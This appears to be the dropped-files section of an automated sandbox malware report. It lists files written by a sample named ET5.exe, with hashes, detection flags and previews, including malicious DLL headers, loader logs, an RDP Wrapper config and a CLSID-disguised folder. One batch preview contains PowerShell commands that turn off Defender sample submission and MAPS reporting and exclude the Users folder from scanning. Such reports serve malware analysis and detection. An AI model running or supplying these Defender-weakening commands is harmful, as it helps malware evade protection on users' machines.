C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rdpctl.log

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1062106
Entropy (8bit):	5.3232281164513955
Encrypted:	false
SSDEEP:	192:A+NOT6PPPIPPPPIPPPPPPPPPPPPPPPPPPPPPPPPPPPPPIJJPPPPPPPJPIJdJPJIk:ZNOTA
MD5:	449D3411E002AF4231CB160844F0CA3F
SHA1:	91B941278699C6D5AEBBBA7B1A62B743510504D0
SHA-256:	F171EC6418D9A9117071186E2D08F2B97C8B3B7D111E372E5CACF349E0D47EE6
SHA-512:	E650F4C41B5E766D39D40782CA71C59385001D4AE15B8E049BC4A37CB0E7344C2E6011AB584F03CC6F99FC7809B9FE864288A06B2409347EF69EA5A810D8BC9C
Malicious:	false
Preview:	[I] (debug_init) -> Log open success(flog_path=C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rdpctl.log)..[I] (debug_init) -> Done..[D] (ini_get_sec) -> Done(name=main)..[D] (ini_get_var) -> Done(sec=main,name=version,value=400004957b19a09d)..[I] (module_load) -> Done(name=ntdll.dll,ret=0x00007ff8c8850000)..[D] (module_get_proc) -> Done(hnd=0x00007ff8c8850000,name=RtlGetVersion,ret=0x00007ff8c888e520)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_win_dir=C:\Windows)..[D] (registry_get_value) -> Done(root=0xffffffff80000002,key=SOFTWARE\Microsoft\Cryptography,param=MachineGuid)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_mach_guid=9e146be9-c76a-4720-bcdb-53011b87bd06)..[I] (sys_init) -> GetVolumeInformationA done(vol=C:\,vol_sn=bddd1a2f)..[I] (sys_init) -> Done(sys_uid=c76a8f08bddd1a2f,sys_os_ver=10.0.19045.0.0)..[I] (scm_init) -> Done..[I] (net_init) -> Done..[I] (ebus_init) -> Done..[I] (proxy_init) -> Done..[I] (ebus_subscribe) -> Done(handler=0x00007ff8b919

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\referrer

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:9:9
MD5:	006F29D8E822B9241020AEC2495EF819
SHA1:	6510BEB08A14B6BCC74D32031C1B19AA07169CF1
SHA-256:	69FF245F90727BBEFA5B1F82E2429FF74F31A6A5385B5129A2FE3378DCF200F1
SHA-512:	16916BC4477F6FC1AE1132D2F5D2B9587650DC44E23DE15E0FE787AFE23175E0E236C020C753BA5158F688BEACDA523AAFB7EC1DF82B6F7619573C90A48742E8
Malicious:	false
Preview:	wgNj

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rfxvmt.dll

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	37376
Entropy (8bit):	5.7181012847214445
Encrypted:	false
SSDEEP:	768:2aS6Ir6sXJaE5I2IaK3knhQ0NknriB0dX5mkOpw:aDjDtKA0G0j5Opw
MD5:	E3E4492E2C871F65B5CEA8F1A14164E2
SHA1:	81D4AD81A92177C2116C5589609A9A08A5CCD0F2
SHA-256:	32FF81BE7818FA7140817FA0BC856975AE9FCB324A081D0E0560D7B5B87EFB30
SHA-512:	59DE035B230C9A4AD6A4EBF4BEFCD7798CCB38C7EDA9863BC651232DB22C7A4C2D5358D4D35551C2DD52F974A22EB160BAEE11F4751B9CA5BF4FB6334EC926C6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........qc..qc..qc......qc...`..qc...g..qc..qb..qc...b..qc...f..qc...c..qc...j..qc......qc...a..qc.Rich.qc.................PE..d...#............." .....Z...>.......]...............................................a....`A.........................................~..........@...............................\... x..T............................p...............q..P............................text....Y.......Z.................. ..`.rdata.......p.......^..............@..@.data...P............z..............@....pdata...............\|..............@..@.rsrc...............................@..@.reloc..\...........................@..B........................................................................................................................................................................................................................................................

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\samctl.dll

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	115712
Entropy (8bit):	6.25860377459178
Encrypted:	false
SSDEEP:	1536:+8zEo3EM0MBfGCqx22eMO4HROUeS2qjVO+n98TLmifu:LzEms12D4xOU31n98TLmh
MD5:	BD1D98C35FE2CB3E14A655AEDE9D4B01
SHA1:	49361C09F5A75A4E2D6E85FBDA337FC521770793
SHA-256:	961C65CFDF0187A945AD6099EFD9AF68D46D36EC309A2243F095EF739EE9AC7E
SHA-512:	74BFD70A08E2CB86AF10B83D0CFD723A24613C9E6E2018CDC63BD425D45845C1214BF68115E04F95572684F27A0CF52D271E2419F8056E0A0467B88507D132D4
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...*............Y........................................P.......p....`... .........................................^....................................@..p...............................(...................X................................text...8...........................`..`.data........0......."..............@....rdata..pi...@...j...$..............@..@.pdata..............................@..@.xdata..............................@..@.bss.....................................edata..^...........................@..@.idata..............................@....CRT....X.... ......................@....tls.........0......................@....reloc..p....@......................@..B........................................................................................................................................................................

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\samctl.log

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3038844
Entropy (8bit):	5.281771188349672
Encrypted:	false
SSDEEP:	192:ARNOTdvvvuvvvvuvvvvvvvvvvvvvvvvvvvvvvvvvvvvRRvvvvvvRuFRvRuvvvvvq:uNOTe
MD5:	236BD9B611F1CB855E04C697830FE0B4
SHA1:	338148E7158BCA129C495A728804AB1D90BB92B0
SHA-256:	D5AD543BE783E25DF72CA9795DEB27B82081DE5DF1105B619F766BE24E09C489
SHA-512:	50F8644B95D83521B97B2B69696D3984A9EEDF9A18127A3330487B487BB1C04CA966FF411A7AC965D51B14E7B21DE7CA9513E8095A9C98187D42A57216B0DAD1
Malicious:	false
Preview:	[I] (debug_init) -> Log open success(flog_path=C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\samctl.log)..[I] (debug_init) -> Done..[D] (ini_get_sec) -> Done(name=main)..[D] (ini_get_var) -> Done(sec=main,name=version,value=400004957b19a09d)..[I] (module_load) -> Done(name=ntdll.dll,ret=0x00007ff8c8850000)..[D] (module_get_proc) -> Done(hnd=0x00007ff8c8850000,name=RtlGetVersion,ret=0x00007ff8c888e520)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_win_dir=C:\Windows)..[D] (registry_get_value) -> Done(root=0xffffffff80000002,key=SOFTWARE\Microsoft\Cryptography,param=MachineGuid)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_mach_guid=9e146be9-c76a-4720-bcdb-53011b87bd06)..[I] (sys_init) -> GetVolumeInformationA done(vol=C:\,vol_sn=bddd1a2f)..[I] (sys_init) -> Done(sys_uid=c76a8f08bddd1a2f,sys_os_ver=10.0.19045.0.0)..[I] (net_init) -> Done..[I] (sam_init) -> Done..[I] (ebus_init) -> Done..[I] (ebus_subscribe) -> Done(handler=0x00007ff8b915e342)..[I] (tcp_connect) -

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\termsrv32.dll

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	91136
Entropy (8bit):	6.2041507656664825
Encrypted:	false
SSDEEP:	1536:SgYI/+tvE0A2HTsPtbNqnXi2h+t3w8S31+g5KvSxY:SgYIl2HIPtbNkrhPl+4K6e
MD5:	CB4F460CF2921FCD35AC53F4154FCBE0
SHA1:	AFD91433EF0C03315739FB754B16D6C49D2E51F2
SHA-256:	D6B5B5303D7079CF31EA9704E7711A127CFE936EA108CDFFF938C7811C6EDA31
SHA-512:	BEE872D6B1226409C472636255AE220BA8E0950C0D65DD0D8B9F3E90D43B65FFE2133B33648452C34A3F1BCA958F10BAF3FADBA5BF4228057928F4EEAC7AB600
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...*.....`......Y.....................................................`... ..............................................................`..................d............................I..(......................h............................text...X...........................`..`.data...............................@....rdata.. T.......V..................@..@.pdata.......`.......8..............@..@.xdata..4....p.......B..............@..@.bss....@................................edata...............L..............@..@.idata...............N..............@....CRT....X............^..............@....tls.................`..............@....reloc..d............b..............@..B........................................................................................................................................................................

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\termsrv32.ini

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	Generic INItialization configuration [SLPolicy]
Category:	dropped
Size (bytes):	456534
Entropy (8bit):	5.450314708570292
Encrypted:	false
SSDEEP:	1536:ElNN33L+MUIiG4IvREWddadl/Fy/kY5Psv:EX33L+MBdadl/Fy/kr
MD5:	AC8B2EA4A310D6748A8845C235A3CDC8
SHA1:	0B489969C7D95411E4104B9BB952C0024EDE1616
SHA-256:	77BA4F6F25BA1050847C22B7AAF1E662650A99A15222466091FB056F436048E3
SHA-512:	0E807AF4D4E0D2F71FB8BE93DFCBCE62F3077E7C94B993529A0012088304A1B34BEDF8915EA23A83611FAB66495B1F8359225DBF95ED3F37C16607257217F191
Malicious:	false
Preview:	; RDP Wrapper Library configuration..; Do not modify without special knowledge..; Edited by sebaxakerhtc....[Main]..Updated=2024-11-24..LogFile=\rdpwrap.txt..SLPolicyHookNT60=1..SLPolicyHookNT61=1....[SLPolicy]..TerminalServices-RemoteConnectionManager-AllowRemoteConnections=1..TerminalServices-RemoteConnectionManager-AllowMultipleSessions=1..TerminalServices-RemoteConnectionManager-AllowAppServerMode=1..TerminalServices-RemoteConnectionManager-AllowMultimon=1..TerminalServices-RemoteConnectionManager-MaxUserSessions=0..TerminalServices-RemoteConnectionManager-ce0ad219-4670-4988-98fb-89b14c2f072b-MaxSessions=0..TerminalServices-RemoteConnectionManager-45344fe7-00e6-4ac6-9f01-d01fd4ffadfb-MaxSessions=2..TerminalServices-RDP-7-Advanced-Compression-Allowed=1..TerminalServices-RemoteConnectionManager-45344fe7-00e6-4ac6-9f01-d01fd4ffadfb-LocalOnly=0..TerminalServices-RemoteConnectionManager-8dc86f1d-9969-4379-91c1-06fe1dc60575-MaxSessions=1000..TerminalServices-DeviceRedirection-Licenses-TS

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\update.pkg

Download File

Process:	C:\Users\user\AppData\Local\Temp\j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe
File Type:	data
Category:	dropped
Size (bytes):	10480965
Entropy (8bit):	6.710750822103746
Encrypted:	false
SSDEEP:	196608:piRu5DnWLX6Cs3E1CPwDvt3uF8c339CMEdy:piRsCKCsU1CPwDvt3uFd9CMEY
MD5:	458F2D710689EA3CF61D5CD97C6B2470
SHA1:	BA71901A29F77715A3DC952578F6D249B944FE26
SHA-256:	47EFC91DA1E9481DB93259248A06349FB3EE58B0C7516A1570F212C3E1CE2119
SHA-512:	C1884FE6C0FB753D494BC095A43FB9E43DF7F9DB9AD02FCA4F73206D2590A1637119BF2EF5C090F7D502928D56B0838101A9FB56C58B3DB58BDA29D97977F421
Malicious:	false
Preview:	.......referrer.wgNj....cnccli.dll.MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...............Y........."h.............................P......JA....`... .........................................^....................................@..l...............................(.......................h............................text...x...........................`..`.data........0....... ..............@....rdata.. d...@...f.................@..@.pdata..............................@..@.xdata..............................@..@.bss.....................................edata..^...........................@..@.idata..............................@....CRT....X.... ......................@....tls.........0......................@....reloc..l....@......................@..B....................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\9pfntcc6fev7dp9x4dc.bat

Download File

Process:	C:\Users\user\Desktop\ET5.exe
File Type:	DOS batch file, ASCII text
Category:	dropped
Size (bytes):	259
Entropy (8bit):	4.933902901538645
Encrypted:	false
SSDEEP:	6:hJKBnm61gV/eGgLSzomkNgBnm61gV/eGgVPgBnm61PeGgdEYJgrWy+5:unm0gViLUomqsnm0gViaBnm0SuQgrWt
MD5:	261A842203ADB67547C83DE132C7A076
SHA1:	6C1A1112D2797E2E66AA5238F00533CD4EB77B3D
SHA-256:	49ADF0FC74600629F12ADF366ECBACDFF87B24E7F2C8DEA532EA074690EF5F84
SHA-512:	7787C5F10EC18B8970F22B26F5BB82C4A299928EDB116A0B92FB000F2A141CCB4C8BCAB3AB91D5E3277ABDA8F2D6FE80434E4AEF5EE8A5CD3223CFB9989A6337
Malicious:	true
Preview:	@echo off..powershell.exe -NoLogo -Command "Set-MpPreference -SubmitSamplesConsent NeverSend".powershell.exe -NoLogo -Command "Set-MpPreference -MAPSReporting 0".powershell.exe -NoLogo -Command "Add-MpPreference -ExclusionPath '%HOMEDRIVE%\Users\'"..exit 1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_04okgsea.x3o.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4tspmt20.ux5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dbpbwt2k.n13.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gq1aspet.ocq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_h5xy5n0h.5xx.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k5ak4gvi.uzv.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_krmoreh2.3zm.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lozymzqf.hla.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_p55g31kr.r4k.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sle5cxcd.beq.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uuplvhgo.odt.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vbhu2a30.ba4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\hstmhco83f64lehv4q0wbzqj3o.exe

Download File

Process:	C:\Users\user\Desktop\ET5.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	6.298274541598319
Encrypted:	false
SSDEEP:	1536:EJm0mRQUtrg7DYy+F2aQuuvL7V0Y91n1ot:EJmjSUtMiF2suvVr11ot
MD5:	319865D78CC8DF6270E27521B8182BFF
SHA1:	716E70B00AA2D154367028DE896C7D76C9D24350
SHA-256:	A78945E7532ECDB29B9448A1F3EEF2F45EC2F01CA070B9868258CBCD31EAC23F
SHA-512:	78CD48C8BA558DFFC204A70DBFF13889984F80F268A715FEC7FC018A7718A11822975F775D44A927C5815AA2CCC0D78502264354BF5D8C0502B5A0A323948611
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 67%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................(.....\|.................@....................................#7....`... ..............................................................................................................a..(....................... ............................text...............................`..`.data...............................@....rdata...R... ...T..................@..@.pdata...............R..............@..@.xdata...............\..............@..@.bss....0................................idata...............f..............@....CRT....`............z..............@....tls.................\|..............@....reloc...............~..............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\installer.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3745
Entropy (8bit):	5.502436715800604
Encrypted:	false
SSDEEP:	96:i68J9VqODT0HU0Hn0H1EO0He0H+kQHR36kPiOdW0HMVVHaHn0HMttHMn:/OTTT000H0eO0+0TQxKkPiOdW0AV6H0n
MD5:	E53F3A65C3D602EA6ACA952C2ADBBE4B
SHA1:	5755BFA1B01A1FF207571322444C19647D883352
SHA-256:	477900E1267F2CE42E8AE0FFB527F8B92A5B81FDD6E935987CD81686CCE5FE36
SHA-512:	8827632E198D96AC110A6453D41D6427596FB1BDEFD0A39B362F161009F5E4F968A494CF529D33CFCEA8C198A607F659A65A38BAF18F799350B5C44022BDD144
Malicious:	false
Preview:	[I] (debug_init) -> Log open success(flog_path=C:\Users\user\AppData\Local\Temp\installer.log)..[I] (debug_init) -> Done..[I] (module_load) -> Done(name=ntdll.dll,ret=0x00007ff8c8850000)..[D] (module_get_proc) -> Done(hnd=0x00007ff8c8850000,name=RtlGetVersion,ret=0x00007ff8c888e520)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_win_dir=C:\Windows)..[D] (registry_get_value) -> Done(root=0xffffffff80000002,key=SOFTWARE\Microsoft\Cryptography,param=MachineGuid)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_mach_guid=9e146be9-c76a-4720-bcdb-53011b87bd06)..[I] (sys_init) -> GetVolumeInformationA done(vol=C:\,vol_sn=bddd1a2f)..[I] (sys_init) -> Done(sys_uid=c76a8f08bddd1a2f,sys_os_ver=10.0.19045.0.0)..[I] (net_init) -> Done..[I] (fs_path_expand) -> Done(path=%PUBLIC%,xpath=C:\Users\Public,xpath_sz=15)..[I] (fs_dir_create) -> Done(path=C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\,recursive=1)..[D] (fs_attr_get) -> Done(path=C:\Users\Public\Computer.{20d04fe0-3aea-1

C:\Users\user\AppData\Local\Temp\j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe

Download File

Process:	C:\Users\user\Desktop\ET5.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	10669056
Entropy (8bit):	7.443816651911507
Encrypted:	false
SSDEEP:	98304:RzfenAfcSl0KeEoTnZ4gBu8P1TAB3ruLIb9ly73Ji3vhqNDMmL98fjd3KiY9LeOm:gA/0F5PdyrlSQ5qNDMmYjd3RY9Lesc
MD5:	2F829F1CB631D234C54F2E6C6F72EB57
SHA1:	BD76CB633ED42E9E94580E1D995AF2E36D9E1A11
SHA-256:	09B3B106A22BCB2DF3F09C7A1A082F2FE62927C337C183D3813D21513FB3FA43
SHA-512:	71C0B077AA63B6DF3A1C2E0A1A0E179DA0466518F2BE6E10871642F03B3B8F63318258DA8C93B78E0CA45C753C3A6524751187FF3D5952D336BE3461651D0CD9
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................*......................@.............................@.......6....`... ................................................................d............0..............................`...(....................................................text...............................`..`.data....J.......L..................@....rdata...^...P...`...<..............@..@.pdata..d...........................@..@.xdata..............................@..@.bss....p...............................idata.............................@....CRT....`..........................@....tls......... .....................@....reloc.......0.....................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wfpblk.ini

Download File

